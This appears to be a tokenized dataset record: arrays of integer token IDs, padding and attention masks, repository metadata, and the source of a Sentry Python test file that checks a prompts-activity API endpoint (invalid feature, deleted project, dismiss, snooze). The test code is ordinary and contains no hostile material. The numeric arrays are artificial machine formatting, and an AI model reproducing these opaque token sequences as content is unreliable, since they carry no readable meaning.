8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 624, 23891, 282, 11647, 3217, 367, 2607, 14717, 9842, 199, 929, 19077, 641, 6430, 2251, 14, 199, 199, 31892, 7890, 282, 2973, 4514, 402, 642, 3217, 14, 199, 624, 199, 199, 363, 2502, 363, 275, 283, 28191, 834, 32, 3098, 14, 957, 334, 20326, 6848, 1393, 834, 3171, 421, 199, 533, 6430, 10464, 8, 785, 304, 819, 408, 44, 29729, 561, 367, 23070, 6326, 370, 282, 1245, 14, 221, 3194, 867, 370, 506, 7264, 4799, 523, 6430, 423, 1084, 10464, 1252, 819, 9382, 26, 272, 14650, 26, 221, 982, 715, 12, 2066, 6358, 22016, 342, 3955, 506, 282, 949, 13, 411, 14, 221, 961, 883, 506, 288, 1202, 370, 5126, 3520, 4882, 21926, 315, 314, 2863, 1930, 14, 523, 408, 819, 347, 22016, 8, 277, 304, 272, 408, 10474, 4036, 900, 314, 1245, 365, 6042, 315, 4066, 282, 4340, 626, 314, 1676, 272, 1245, 1443, 1929, 370, 506, 4588, 14, 221, 961, 5544, 4910, 1902, 26, 272, 334, 65, 9, 710, 1245, 1990, 6042, 367, 314, 1642, 900, 12, 880, 314, 1676, 1245, 267, 1077, 19407, 509, 273, 2216, 314, 1245, 465, 3451, 14, 272, 334, 66, 9, 710, 1245, 1159, 6328, 3696, 1568, 506, 27467, 14650, 1553, 284, 14, 69, 14, 314, 1245, 1990, 267, 6042, 367, 314, 1642, 900, 2410, 282, 4136, 1240, 370, 20301, 2320, 1252, 267, 21039, 314, 1676, 1077, 2597, 2216, 2399, 3696, 1568, 465, 14650, 14, 272, 3390, 626, 334, 65, 9, 22660, 334, 66, 395, 3967, 892, 2251, 1343, 734, 543, 282, 1890, 6328, 272, 1568, 334, 4262, 680, 221, 9738, 12, 781, 2213, 334, 65, 9, 7662, 2952, 652, 365, 11012, 14, 339, 22016, 342, 911, 627, 2118, 10, 506, 2797, 315, 1177, 370, 1373, 402, 3520, 2877, 4474, 1553, 272, 440, 4036, 900, 314, 1007, 13, 1188, 365, 6042, 14, 339, 3390, 626, 340, 314, 11647, 1159, 1204, 8799, 92, 2225, 365, 2549, 12, 2066, 6358, 272, 22016, 737, 314, 12427, 3955, 506, 282, 949, 13, 411, 12, 880, 652, 883, 506, 9645, 14, 221, 32117, 13, 272, 18423, 24194, 1077, 1104, 642, 2225, 5370, 2544, 6358, 3967, 272, 652, 911, 506, 2549, 4750, 402, 314, 900, 14, 272, 408, 339, 746, 4279, 421, 199, 533, 12119, 2209, 10464, 8, 785, 304, 819, 408, 1944, 13, 411, 6430, 10464, 4514, 1041, 819, 347, 22016, 8, 277, 304, 272, 986, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 11557, 699, 3043, 1192, 446, 4475, 1159, 666, 1640, 1461, 1475, 199, 3, 1898, 9079, 4475, 3277, 14, 221, 2900, 4481, 4644, 14, 199, 3, 1455, 921, 600, 14, 3098, 14, 957, 15, 80, 15, 7204, 15, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 199, 3, 199, 3, 258, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 258, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 199, 3, 4248, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 199, 3, 315, 314, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 199, 3, 4084, 14, 199, 3, 258, 627, 11443, 314, 536, 402, 4475, 3277, 14, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 624, 23891, 282, 11647, 3217, 367, 2607, 14717, 9842, 199, 929, 19077, 641, 6430, 2251, 14, 199, 199, 31892, 7890, 282, 2973, 4514, 402, 642, 3217, 14, 199, 624, 199, 199, 363, 2502, 363, 275, 283, 28191, 834, 32, 3098, 14, 957, 334, 20326, 6848, 1393, 834, 3171, 421, 199, 533, 6430, 10464, 8, 785, 304, 819, 408, 44, 29729, 561, 367, 23070, 6326, 370, 282, 1245, 14, 221, 3194, 867, 370, 506, 7264, 4799, 523, 6430, 423, 1084, 10464, 1252, 819, 9382, 26, 272, 14650, 26, 221, 982, 715, 12, 2066, 6358, 22016, 342, 3955, 506, 282, 949, 13, 411, 14, 221, 961, 883, 506, 288, 1202, 370, 5126, 3520, 4882, 21926, 315, 314, 2863, 1930, 14, 523, 408, 819, 347, 22016, 8, 277, 304, 272, 408, 10474, 4036, 900, 314, 1245, 365, 6042, 315, 4066, 282, 4340, 626, 314, 1676, 272, 1245, 1443, 1929, 370, 506, 4588, 14, 221, 961, 5544, 4910, 1902, 26, 272, 334, 65, 9, 710, 1245, 1990, 6042, 367, 314, 1642, 900, 12, 880, 314, 1676, 1245, 267, 1077, 19407, 509, 273, 2216, 314, 1245, 465, 3451, 14, 272, 334, 66, 9, 710, 1245, 1159, 6328, 3696, 1568, 506, 27467, 14650, 1553, 284, 14, 69, 14, 314, 1245, 1990, 267, 6042, 367, 314, 1642, 900, 2410, 282, 4136, 1240, 370, 20301, 2320, 1252, 267, 21039, 314, 1676, 1077, 2597, 2216, 2399, 3696, 1568, 465, 14650, 14, 272, 3390, 626, 334, 65, 9, 22660, 334, 66, 395, 3967, 892, 2251, 1343, 734, 543, 282, 1890, 6328, 272, 1568, 334, 4262, 680, 221, 9738, 12, 781, 2213, 334, 65, 9, 7662, 2952, 652, 365, 11012, 14, 339, 22016, 342, 911, 627, 2118, 10, 506, 2797, 315, 1177, 370, 1373, 402, 3520, 2877, 4474, 1553, 272, 440, 4036, 900, 314, 1007, 13, 1188, 365, 6042, 14, 339, 3390, 626, 340, 314, 11647, 1159, 1204, 8799, 92, 2225, 365, 2549, 12, 2066, 6358, 272, 22016, 737, 314, 12427, 3955, 506, 282, 949, 13, 411, 12, 880, 652, 883, 506, 9645, 14, 221, 32117, 13, 272, 18423, 24194, 1077, 1104, 642, 2225, 5370, 2544, 6358, 3967, 272, 652, 911, 506, 2549, 4750, 402, 314, 900, 14, 272, 408, 339, 746, 4279, 421, 199, 533, 12119, 2209, 10464, 8, 785, 304, 819, 408, 1944, 13, 411, 6430, 10464, 4514, 1041, 819, 347, 22016, 8, 277, 304, 272, 986, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
mvaled/sentry
tests/sentry/api/endpoints/test_prompts_activity.py
3
3343
from __future__ import absolute_import from django.core.urlresolvers import reverse from sentry.testutils import APITestCase class PromptsActivityTest(APITestCase): def setUp(self): super(PromptsActivityTest, self).setUp() self.login_as(user=self.user) self.org = self.create_organization(owner=self.user, name="baz") # self.project = self.create_project( # organization=self.org, # # teams=[self.team], # # name='Bengal-Elephant-Giraffe-Tree-House', # ) self.team = self.create_team(organization=self.org, name="Mariachi Band") self.project = self.create_project( organization=self.org, teams=[self.team], name="Bengal-Elephant-Giraffe-Tree-House" ) self.path = reverse("sentry-api-0-promptsactivity") def test_invalid_feature(self): # Invalid feature prompt name resp = self.client.put( self.path, { "organization_id": self.org.id, "project_id": self.project.id, "feature": "gibberish", "status": "dismissed", }, ) assert resp.status_code == 400 def test_invalid_project(self): # Invalid project id data = { "organization_id": self.org.id, "project_id": self.project.id, "feature": "releases", } resp = self.client.get(self.path, data) assert resp.status_code == 200 self.project.delete() # project doesn't exist resp = self.client.put( self.path, { "organization_id": self.org.id, "project_id": self.project.id, "feature": "releases", "status": "dismissed", }, ) assert resp.status_code == 400 def test_dismiss(self): data = { "organization_id": self.org.id, "project_id": self.project.id, "feature": "releases", } resp = self.client.get(self.path, data) assert resp.status_code == 200 assert resp.data == {} self.client.put( self.path, { "organization_id": self.org.id, "project_id": self.project.id, "feature": "releases", "status": "dismissed", }, ) resp = self.client.get(self.path, data) assert resp.status_code == 200 assert "data" in resp.data assert "dismissed_ts" in resp.data["data"] def test_snooze(self): data = { "organization_id": self.org.id, "project_id": self.project.id, "feature": "releases", } resp = self.client.get(self.path, data) assert resp.status_code == 200 assert resp.data == {} self.client.put( self.path, { "organization_id": self.org.id, "project_id": self.project.id, "feature": "releases", "status": "snoozed", }, ) resp = self.client.get(self.path, data) assert resp.status_code == 200 assert "data" in resp.data assert "snoozed_ts" in resp.data["data"]
bsd-3-clause
[ 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 199, 199, 504, 26230, 14, 396, 1208, 492, 10319, 649, 27309, 421, 199, 533, 2165, 311, 1086, 14350, 774, 8, 2642, 27309, 304, 272, 347, 3613, 8, 277, 304, 267, 1613, 8, 919, 311, 1086, 14350, 774, 12, 291, 680, 5996, 342, 267, 291, 14, 2886, 63, 305, 8, 751, 29, 277, 14, 751, 9, 267, 291, 14, 1308, 275, 291, 14, 981, 63, 9071, 8, 4597, 29, 277, 14, 751, 12, 536, 628, 6185, 531, 267, 327, 291, 14, 1715, 275, 291, 14, 981, 63, 1715, 8, 267, 327, 258, 13237, 29, 277, 14, 1308, 12, 267, 327, 258, 327, 25823, 1524, 277, 14, 5969, 467, 267, 327, 258, 327, 536, 534, 34, 7420, 279, 13, 37, 274, 838, 867, 13, 39, 20936, 2026, 13, 3987, 13, 40, 7130, 297, 267, 327, 776, 398, 291, 14, 5969, 275, 291, 14, 981, 63, 5969, 8, 9071, 29, 277, 14, 1308, 12, 536, 628, 45, 759, 1225, 73, 27709, 531, 267, 291, 14, 1715, 275, 291, 14, 981, 63, 1715, 8, 288, 13237, 29, 277, 14, 1308, 12, 25823, 1524, 277, 14, 5969, 467, 536, 628, 34, 7420, 279, 13, 37, 274, 838, 867, 13, 39, 20936, 2026, 13, 3987, 13, 40, 7130, 2, 267, 776, 267, 291, 14, 515, 275, 3837, 480, 3870, 13, 1246, 13, 16, 13, 496, 311, 1086, 8240, 531, 339, 347, 511, 63, 3197, 63, 4445, 8, 277, 304, 267, 327, 6378, 3878, 8457, 536, 267, 3085, 275, 291, 14, 1258, 14, 524, 8, 288, 291, 14, 515, 12, 288, 469, 355, 298, 9071, 63, 344, 582, 291, 14, 1308, 14, 344, 12, 355, 298, 1715, 63, 344, 582, 291, 14, 1715, 14, 344, 12, 355, 298, 4445, 582, 298, 71, 1892, 605, 2453, 401, 355, 298, 1205, 582, 298, 2297, 1292, 939, 401, 288, 1660, 267, 776, 398, 702, 3085, 14, 1205, 63, 600, 508, 8290, 339, 347, 511, 63, 3197, 63, 1715, 8, 277, 304, 267, 327, 6378, 2199, 1305, 267, 666, 275, 469, 288, 298, 9071, 63, 344, 582, 291, 14, 1308, 14, 344, 12, 288, 298, 1715, 63, 344, 582, 291, 14, 1715, 14, 344, 12, 288, 298, 4445, 582, 298, 11840, 401, 267, 789, 267, 3085, 275, 291, 14, 1258, 14, 362, 8, 277, 14, 515, 12, 666, 9, 267, 702, 3085, 14, 1205, 63, 600, 508, 1926, 267, 291, 14, 1715, 14, 1807, 342, 267, 327, 2199, 3181, 1133, 2187, 267, 3085, 275, 291, 14, 1258, 14, 524, 8, 288, 291, 14, 515, 12, 288, 469, 355, 298, 9071, 63, 344, 582, 291, 14, 1308, 14, 344, 12, 355, 298, 1715, 63, 344, 582, 291, 14, 1715, 14, 344, 12, 355, 298, 4445, 582, 298, 11840, 401, 355, 298, 1205, 582, 298, 2297, 1292, 939, 401, 288, 1660, 267, 776, 267, 702, 3085, 14, 1205, 63, 600, 508, 8290, 339, 347, 511, 63, 32439, 8, 277, 304, 267, 666, 275, 469, 288, 298, 9071, 63, 344, 582, 291, 14, 1308, 14, 344, 12, 288, 298, 1715, 63, 344, 582, 291, 14, 1715, 14, 344, 12, 288, 298, 4445, 582, 298, 11840, 401, 267, 789, 267, 3085, 275, 291, 14, 1258, 14, 362, 8, 277, 14, 515, 12, 666, 9, 267, 702, 3085, 14, 1205, 63, 600, 508, 1926, 267, 702, 3085, 14, 576, 508, 1052, 398, 291, 14, 1258, 14, 524, 8, 288, 291, 14, 515, 12, 288, 469, 355, 298, 9071, 63, 344, 582, 291, 14, 1308, 14, 344, 12, 355, 298, 1715, 63, 344, 582, 291, 14, 1715, 14, 344, 12, 355, 298, 4445, 582, 298, 11840, 401, 355, 298, 1205, 582, 298, 2297, 1292, 939, 401, 288, 1660, 267, 776, 398, 3085, 275, 291, 14, 1258, 14, 362, 8, 277, 14, 515, 12, 666, 9, 267, 702, 3085, 14, 1205, 63, 600, 508, 1926, 267, 702, 298, 576, 2, 315, 3085, 14, 576, 267, 702, 298, 2297, 1292, 939, 63, 1086, 2, 315, 3085, 14, 576, 905, 576, 937, 339, 347, 511, 63, 83, 889, 79, 806, 8, 277, 304, 267, 666, 275, 469, 288, 298, 9071, 63, 344, 582, 291, 14, 1308, 14, 344, 12, 288, 298, 1715, 63, 344, 582, 291, 14, 1715, 14, 344, 12, 288, 298, 4445, 582, 298, 11840, 401, 267, 789, 267, 3085, 275, 291, 14, 1258, 14, 362, 8, 277, 14, 515, 12, 666, 9, 267, 702, 3085, 14, 1205, 63, 600, 508, 1926, 267, 702, 3085, 14, 576, 508, 1052, 398, 291, 14, 1258, 14, 524, 8, 288, 291, 14, 515, 12, 288, 469, 355, 298, 9071, 63, 344, 582, 291, 14, 1308, 14, 344, 12, 355, 298, 1715, 63, 344, 582, 291, 14, 1715, 14, 344, 12, 355, 298, 4445, 582, 298, 11840, 401, 355, 298, 1205, 582, 298, 83, 889, 79, 7068, 401, 288, 1660, 267, 776, 398, 3085, 275, 291, 14, 1258, 14, 362, 8, 277, 14, 515, 12, 666, 9, 398, 702, 3085, 14, 1205, 63, 600, 508, 1926, 267, 702, 298, 576, 2, 315, 3085, 14, 576, 267, 702, 298, 83, 889, 79, 7068, 63, 1086, 2, 315, 3085, 14, 576, 905, 576, 937, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 199, 199, 504, 26230, 14, 396, 1208, 492, 10319, 649, 27309, 421, 199, 533, 2165, 311, 1086, 14350, 774, 8, 2642, 27309, 304, 272, 347, 3613, 8, 277, 304, 267, 1613, 8, 919, 311, 1086, 14350, 774, 12, 291, 680, 5996, 342, 267, 291, 14, 2886, 63, 305, 8, 751, 29, 277, 14, 751, 9, 267, 291, 14, 1308, 275, 291, 14, 981, 63, 9071, 8, 4597, 29, 277, 14, 751, 12, 536, 628, 6185, 531, 267, 327, 291, 14, 1715, 275, 291, 14, 981, 63, 1715, 8, 267, 327, 258, 13237, 29, 277, 14, 1308, 12, 267, 327, 258, 327, 25823, 1524, 277, 14, 5969, 467, 267, 327, 258, 327, 536, 534, 34, 7420, 279, 13, 37, 274, 838, 867, 13, 39, 20936, 2026, 13, 3987, 13, 40, 7130, 297, 267, 327, 776, 398, 291, 14, 5969, 275, 291, 14, 981, 63, 5969, 8, 9071, 29, 277, 14, 1308, 12, 536, 628, 45, 759, 1225, 73, 27709, 531, 267, 291, 14, 1715, 275, 291, 14, 981, 63, 1715, 8, 288, 13237, 29, 277, 14, 1308, 12, 25823, 1524, 277, 14, 5969, 467, 536, 628, 34, 7420, 279, 13, 37, 274, 838, 867, 13, 39, 20936, 2026, 13, 3987, 13, 40, 7130, 2, 267, 776, 267, 291, 14, 515, 275, 3837, 480, 3870, 13, 1246, 13, 16, 13, 496, 311, 1086, 8240, 531, 339, 347, 511, 63, 3197, 63, 4445, 8, 277, 304, 267, 327, 6378, 3878, 8457, 536, 267, 3085, 275, 291, 14, 1258, 14, 524, 8, 288, 291, 14, 515, 12, 288, 469, 355, 298, 9071, 63, 344, 582, 291, 14, 1308, 14, 344, 12, 355, 298, 1715, 63, 344, 582, 291, 14, 1715, 14, 344, 12, 355, 298, 4445, 582, 298, 71, 1892, 605, 2453, 401, 355, 298, 1205, 582, 298, 2297, 1292, 939, 401, 288, 1660, 267, 776, 398, 702, 3085, 14, 1205, 63, 600, 508, 8290, 339, 347, 511, 63, 3197, 63, 1715, 8, 277, 304, 267, 327, 6378, 2199, 1305, 267, 666, 275, 469, 288, 298, 9071, 63, 344, 582, 291, 14, 1308, 14, 344, 12, 288, 298, 1715, 63, 344, 582, 291, 14, 1715, 14, 344, 12, 288, 298, 4445, 582, 298, 11840, 401, 267, 789, 267, 3085, 275, 291, 14, 1258, 14, 362, 8, 277, 14, 515, 12, 666, 9, 267, 702, 3085, 14, 1205, 63, 600, 508, 1926, 267, 291, 14, 1715, 14, 1807, 342, 267, 327, 2199, 3181, 1133, 2187, 267, 3085, 275, 291, 14, 1258, 14, 524, 8, 288, 291, 14, 515, 12, 288, 469, 355, 298, 9071, 63, 344, 582, 291, 14, 1308, 14, 344, 12, 355, 298, 1715, 63, 344, 582, 291, 14, 1715, 14, 344, 12, 355, 298, 4445, 582, 298, 11840, 401, 355, 298, 1205, 582, 298, 2297, 1292, 939, 401, 288, 1660, 267, 776, 267, 702, 3085, 14, 1205, 63, 600, 508, 8290, 339, 347, 511, 63, 32439, 8, 277, 304, 267, 666, 275, 469, 288, 298, 9071, 63, 344, 582, 291, 14, 1308, 14, 344, 12, 288, 298, 1715, 63, 344, 582, 291, 14, 1715, 14, 344, 12, 288, 298, 4445, 582, 298, 11840, 401, 267, 789, 267, 3085, 275, 291, 14, 1258, 14, 362, 8, 277, 14, 515, 12, 666, 9, 267, 702, 3085, 14, 1205, 63, 600, 508, 1926, 267, 702, 3085, 14, 576, 508, 1052, 398, 291, 14, 1258, 14, 524, 8, 288, 291, 14, 515, 12, 288, 469, 355, 298, 9071, 63, 344, 582, 291, 14, 1308, 14, 344, 12, 355, 298, 1715, 63, 344, 582, 291, 14, 1715, 14, 344, 12, 355, 298, 4445, 582, 298, 11840, 401, 355, 298, 1205, 582, 298, 2297, 1292, 939, 401, 288, 1660, 267, 776, 398, 3085, 275, 291, 14, 1258, 14, 362, 8, 277, 14, 515, 12, 666, 9, 267, 702, 3085, 14, 1205, 63, 600, 508, 1926, 267, 702, 298, 576, 2, 315, 3085, 14, 576, 267, 702, 298, 2297, 1292, 939, 63, 1086, 2, 315, 3085, 14, 576, 905, 576, 937, 339, 347, 511, 63, 83, 889, 79, 806, 8, 277, 304, 267, 666, 275, 469, 288, 298, 9071, 63, 344, 582, 291, 14, 1308, 14, 344, 12, 288, 298, 1715, 63, 344, 582, 291, 14, 1715, 14, 344, 12, 288, 298, 4445, 582, 298, 11840, 401, 267, 789, 267, 3085, 275, 291, 14, 1258, 14, 362, 8, 277, 14, 515, 12, 666, 9, 267, 702, 3085, 14, 1205, 63, 600, 508, 1926, 267, 702, 3085, 14, 576, 508, 1052, 398, 291, 14, 1258, 14, 524, 8, 288, 291, 14, 515, 12, 288, 469, 355, 298, 9071, 63, 344, 582, 291, 14, 1308, 14, 344, 12, 355, 298, 1715, 63, 344, 582, 291, 14, 1715, 14, 344, 12, 355, 298, 4445, 582, 298, 11840, 401, 355, 298, 1205, 582, 298, 83, 889, 79, 7068, 401, 288, 1660, 267, 776, 398, 3085, 275, 291, 14, 1258, 14, 362, 8, 277, 14, 515, 12, 666, 9, 398, 702, 3085, 14, 1205, 63, 600, 508, 1926, 267, 702, 298, 576, 2, 315, 3085, 14, 576, 267, 702, 298, 83, 889, 79, 7068, 63, 1086, 2, 315, 3085, 14, 576, 905, 576, 937, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 